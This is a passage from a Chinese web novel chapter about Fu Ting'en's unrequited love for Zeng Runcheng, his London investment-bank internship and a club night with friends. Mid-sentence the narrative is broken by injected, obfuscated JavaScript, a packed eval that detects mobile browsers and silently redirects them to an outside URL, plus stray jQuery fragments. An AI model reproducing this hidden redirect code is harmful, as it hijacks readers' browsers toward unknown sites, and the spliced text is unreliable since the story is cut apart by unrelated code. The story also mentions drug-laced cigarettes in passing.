内卡河边是他们经常散步憩息的基地,傅廷恩向曾闰成汇报着他的暑假计划。“去摩根大通实习两个月,他们3月份发布实习岗位招募的时候,我提交了申请。网申和视频面试都过了。”
欧洲的大学生不管就业还是申硕申博,个人成绩只占一部分,科研和实习经历是公司和导师考量的重要标准。
摩根大通作为八大行之一,是名校学生趋之若鹜的实习基地。要么通过家庭背景花钱花关系解决,要么就靠自己的实力。傅廷恩显然是后者。
“什么类型的岗位?”
“量化分析岗,设计实现金融的数学模型这一块。”
“跟你专业很对口,offer拿到了吗?”
“应该还有一天Superday,但是问题不大,去年在高盛也是差不多流程。”有过高盛的实习经历,入职摩根确实so easy。
曾闰成替他感到高兴,“挺好的,廷恩,你加油!”
“可是,要回伦敦待两个月,这么久。”傅廷恩踢着脚下的小石子,没有抬头。
曾闰成已经听得懂他的言外之意,但只能安慰他,“你投身一个新环境,时间是过得很快的。而且你的交换期也结束了吧?”
“我想申请海德堡大学的硕士。”
曾闰成不同意,“廷恩,你别拿学业开玩笑。牛津的硕士一年制,德国这边修学分一般都得两年,而且你牛津的本科申本校的硕士更容易。”
“时间上我会考虑的。”其实当初没有直接申本硕,就是考虑到时间的问题,毕竟傅家对他的人生规划并不是留英入职高薪岗位,现在在投行的实习,也是先加入卖方市场,了解内幕,回到买方市场才不会被坑。
“今年实习完我会飞一趟澳洲。”傅廷恩斟酌着说出今天交流的重点,“闰成,你还记得我跟你说的我哥吗?”
曾闰成点点头,“是叫傅廷昀吧?记得,你给我看过他冲浪的视频。”
“他那边有一个医药分公司,跟皇家墨尔本医院有深度合作,我想……”他偷眼看曾闰成的面色,“要不要让小霞去那边疗养一段时间?那边的天气很适合休养。”
曾闰成愣住,“去澳洲?”他摇头,“给小霞治病是我的事……”
“可是我现在是她男朋友了。”傅廷恩抿了一下唇角,“我可以来跟她沟通……”
“廷恩,”曾闰成的面色变得严肃起来,“你想过小霞的感受没有?如果她真的把你当成男朋友,真的跟你去澳洲,还跟你的家人接触,她对你的期待……”
傅廷恩愣了一下,“我懂。”现在小霞已经俨然以他的女朋友自居了,早晚安,头像要求情头,ins上明晃晃的发布着和他的合影,配文是my love……
“其实我是真的愿意照顾她一辈子,以哥哥的身份。”傅廷恩不愿意放弃这难得的机会,“闰成,我对小霞的照顾是基于我对她的感情,我只有一个哥哥,隔房的姐妹也不亲近,我把她当妹妹。我愿意照顾她,与你没有关系。”
曾闰成露出一丝苦笑,喃喃低语,“怎么可能跟我没有关系?”
傅廷恩低下头,“我的意思是你是自由的,”他轻声道,“你可以继续在海德堡读博士,也可以一起去澳洲申请学位,或者你想工作、交友,这些都是你的自由。”
曾闰成抬头看着他,“谢谢你,廷恩。”傅廷恩的剖白令他动容,令他愿意抛下难堪跟他说一点掏心窝子的话,“我懂你的意思,但,有些事情并不会因此而改变。”
“为什么?”傅廷恩抬起头,一脸急切的不解。
“小霞的病,是急性髓系白血病中最难治的一种,而且是高危型,当初……”他低下头,“确实花了很多钱。即使有钱,如果没有那样的医疗团队,小霞可能也活不到今天。”
他转过身,看向内卡河,“她化疗的效果一直不太好,多次化疗都没有进入稳定期,根本不可能自体移植。万幸的是,我跟她在HLA配型上点位全合,所以抽了我的骨髓给她,度过排异期都是惊险万分……”
他每多说一句,傅廷恩的心就多凉一分。他明白他的意思,即使他接手照顾小霞,曾闰成也摆脱不了李景麟的束缚,欠人家的摆在那里。
“花了多少钱我还给他……”这话傅廷恩自己都说不下去,李景麟怎么会是要这个钱的人。
“所以,廷恩,”曾闰成转头看见傅廷恩骤然变白的面色,心里五味杂陈,他重新看向河面,“去实习,然后回牛津申请硕士学位吧,总有一天你会遇到那个真正合适你的人。不要浪费时间了。”
——————————————————————————
金丝雀码头是伦敦的新金融城。伦敦大多数地方还是比较老旧的英伦风,这里却是高楼林立,充满着现代化风格。
男士西装革履,女士妆容得体踩着高跟鞋,一律步伐匆匆的走进一栋栋外表奢华的大厦。
早上八点半,傅廷恩穿过一条空中隧道,走过一座钢结构的小吊桥,下桥拐弯不远,进入一栋高大方正的大楼。
这个点,电梯里人不多,一个银发美女跟他say hi,递了一杯咖啡给他,他这才想起好像是隔壁工位的。
两人用英语交谈了几句,一同踩着灰色的地毯迈进装修豪华的办公区域。“中午一起吃午饭吗?”分开时,金发美女问他,这在职场算是明晃晃的示好了。
“啊,不了,我约了男朋友。”傅廷恩冲她眨了一下眼睛,又举了举手里的咖啡,“谢谢你的咖啡。”
美女明白了他的意思,失望的摇摇头,“哎,现在但凡是个帅哥都内部消化了。”
傅廷恩第一天来,她就盯上了,外表高大英俊,履历又堪称完美,看穿着打扮也没有半分gay气,所以今天特意带了手磨咖啡,等在电梯那里,没想到……她笑了笑,难掩失望的走开了。
傅廷恩打开电脑,开始跟测试工程师沟通,他修长的手指快速的在电脑上翻飞跳跃,敲了几行代码,然后修bug,直到完成修改,提交Review,在等待自动测试的间隙,他回了一下手机信息,十二点关闭电脑,下了楼。
刚走进新金融城的一家咖啡馆,就听到江永安的嘘声,“这里,这里!”江永安拿到了汇丰银行的暑期实习offer,这对好兄弟又开始凑在一块。
“真的不考虑搬我那里去?走路十五分钟就能到公司。”去年实习,傅太过来看傅廷恩,看租住的房子又贵又不太好,干脆给他在对面买了一个小两居。
“热恋期,不方便。”江永安最近交往了一个意大利帅哥,经常在facebook上秀恩爱。
这家咖啡馆供应的午餐类似于健身餐,各种颜色很丰富,算是小有特色。傅廷恩研究着角度,拍了张照片,发送了,才开吃。
“还汇报上了是吧?人家也不回你,不知道你发个什么劲!”江永安虽然能理解傅廷恩对曾闰成的感情,但经常不齿于他的舔狗行径。
“偶尔回。”正好手机响,打开,也是一张午餐图片。“多吃点。”傅廷恩叮嘱了一声,才满意的放下手机。
江永安看着他一脸满足的笑容,有些恨铁不成钢,“我觉得曾老师真的太会了,三不五时回你一下,就能把你钓得死死的。”
“你要这么说他,咱俩可就聊不下去了。”傅廷恩也能理解好兄弟不愿意他陷在一段无望感情里的心情,但他不能接受他对曾闰成暗含指责的评价。
“别别别,我错了,我道歉。”好在江永安惯会见风使舵,“明天周末,晚上我们去U Club放松一下,介绍我男朋友给你认识。”
英国的酒吧分Pub和Club,前者类似茶馆或者说清吧,是朋友相聚喝酒聊天的好地方,英国人是出了名的爱喝酒爱八卦。后者则是嗨吧或者说迪厅,找乐子的好去处。
看傅廷恩这么泥足深陷,江永安想到了一招曲线救国,曾老师确实是长得帅,气质也好,但也不是说无人能比。
他男朋友的朋友就是一个类似风格且不遑多让的大帅哥,刚从日本来伦敦读硕士,谈吐温文,眉目俊雅,带着日式的精致和贵公子的范。他特意凑了这个局,且提前没跟傅廷恩说,给这小子来个惊喜。
伦敦的Club一到周末就热火朝天,很多出名的场所都大排长队,衣着装
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422362|141360||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扮不合要求还不给进,但是玩咖江永安显然不需要接受安保的核查,领着傅廷恩走侧门的VIP通道。
傅廷恩大一大二没少跟着他玩,当然知道江永安在夜场的江湖地位,事先提醒他:“喝两杯就走,别回头让我又找不着人。”
江永安这事有前科,有一回圣诞节,在一个万人场子不见了,等傅廷恩费了九牛二虎之力找到,人跟黑人,且还是俩,躲角落里吻得难舍难分,这事时不时让傅廷恩拿出来呲达他。
“哪能呢,我男朋友还在呢。”
江永安把他拉到卡座上,两个帅哥已经喝着鸡尾酒在等了。
意大利帅哥是典型的意大利南部长相,带点阿拉伯血统,高鼻深目,毛发旺盛,对傅廷恩很热情。
日本贵公子中岛洋介,有着东亚人的俊秀长相,而且气质是少见的清冽干净,对上傅廷恩的目光,还有点害羞似的,微笑着低下头。
江永安撞一下傅廷恩肩膀,冲他打了个眼色,“兄弟,艳福不浅啊。”他之前只在莱昂手机里见过洋介照片,没想到本人更好看。
傅廷恩一见洋介就明白了江永安的意思,不由得失笑,“永安,你真是没有一点家国情怀。”
“这不是给你为国争光的机会嘛,”江永安不要脸的凑在他耳朵边上低语,“狠狠干|他!”
傅廷恩不置可否,从他与曾闰成重逢,半年过去了,他一直没约会,有想法自己解决。
其实没有人承诺他,也没有人约束他,可他就是有点兴致缺缺。
他看着桌上摆着的鸡尾酒杯、果盘、骰子盒,掏出手机拍了一张照片,发送了过去。然后安静的等待,可直到三杯酒喝完,也没有任何回音。
洋介虽然看着有些害羞,性格倒是大方,大概对傅廷恩的皮相比较满意,很主动的跟江永安换了位置,坐到他旁边来,用英语在他耳朵边跟他聊天。
Club喜欢放电子音乐,且随着夜深,各种重音混合,更加的激情澎湃。空气里不止烟雾缭绕,还混杂着一股甜香,加了料的烟酒是欧洲酒吧比较常见的物什。
江永安撒了一圈烟,他手里有好货,能适当的助兴但也不会很上头伤身。傅廷恩犹豫了一下,在洋介帮他点火的时候也没有拒绝。脑海里却不由自主闪过曾闰成叼着烟帮他点火的场景,内心升起一股燥热。
江永安却是松了口气,他算是看着傅廷恩从纯情少年变成牛津浪子。他是天性爱玩的,当然是跟牛津浪子更合得来。这半年眼瞅着兄弟为了个男人,清心寡欲,实在替他不值,爱就爱吧,也没必要自苦不是?!
午夜过后,酒吧嗨闹的氛围被重金属音乐和迷离的烟雾烘托到极致,人潮开始拥挤,专供跳舞的几个圆台上开始出现半裸的男男女女,抱在一起接吻互啃的比比皆是,那些隐秘的角落、厕所的格子间正上演着更为激情的戏码。
洋介搂着傅廷恩的肩膀喁喁私语,柔软的唇不时擦过他的耳畔,淡雅的香水气息也钻入鼻腔。
搁在圆桌上的手机屏幕突然亮了一下,傅廷恩反应过来,打开是五个字:“你开心就好。”
江永安凑过来看了一下,扯着喉咙喊:“就是嘛,人生苦短,开心就好……”
傅廷恩原本昏沉的意识却一下子清晰起来,他推开洋介,站起身:“不好意思,你们玩,我有事先走了。”
江永安在他身后愤怒的吼叫:“妈蛋!这半夜十二点你有屁的个事啊!傅廷恩,你信不信老子跟你绝交!傅廷恩……”
傅廷恩快步走出酒吧,走到安静的大马路上,凌晨的伦敦街道只有零星几个流浪汉的身影。
他掏出手机,拨了过去,那边很快接起,“廷恩?”是曾闰成一贯温润的声音,带着点惊讶。
傅廷恩叹了口气,只觉得原本空虚的胸腔顷刻间就被填满,“闰成,我离开酒吧了。”他叹息着,“没有你,我不会开心的。”
话筒里静默下来,只有清浅的呼吸声清晰的传来,许久之后,曾闰成低声道:“回家吧,廷恩,这个点还在外面太危险。到家给我发个信息好吗?”
“好!”傅廷恩在他的曾老师面前永远都是乖宝宝。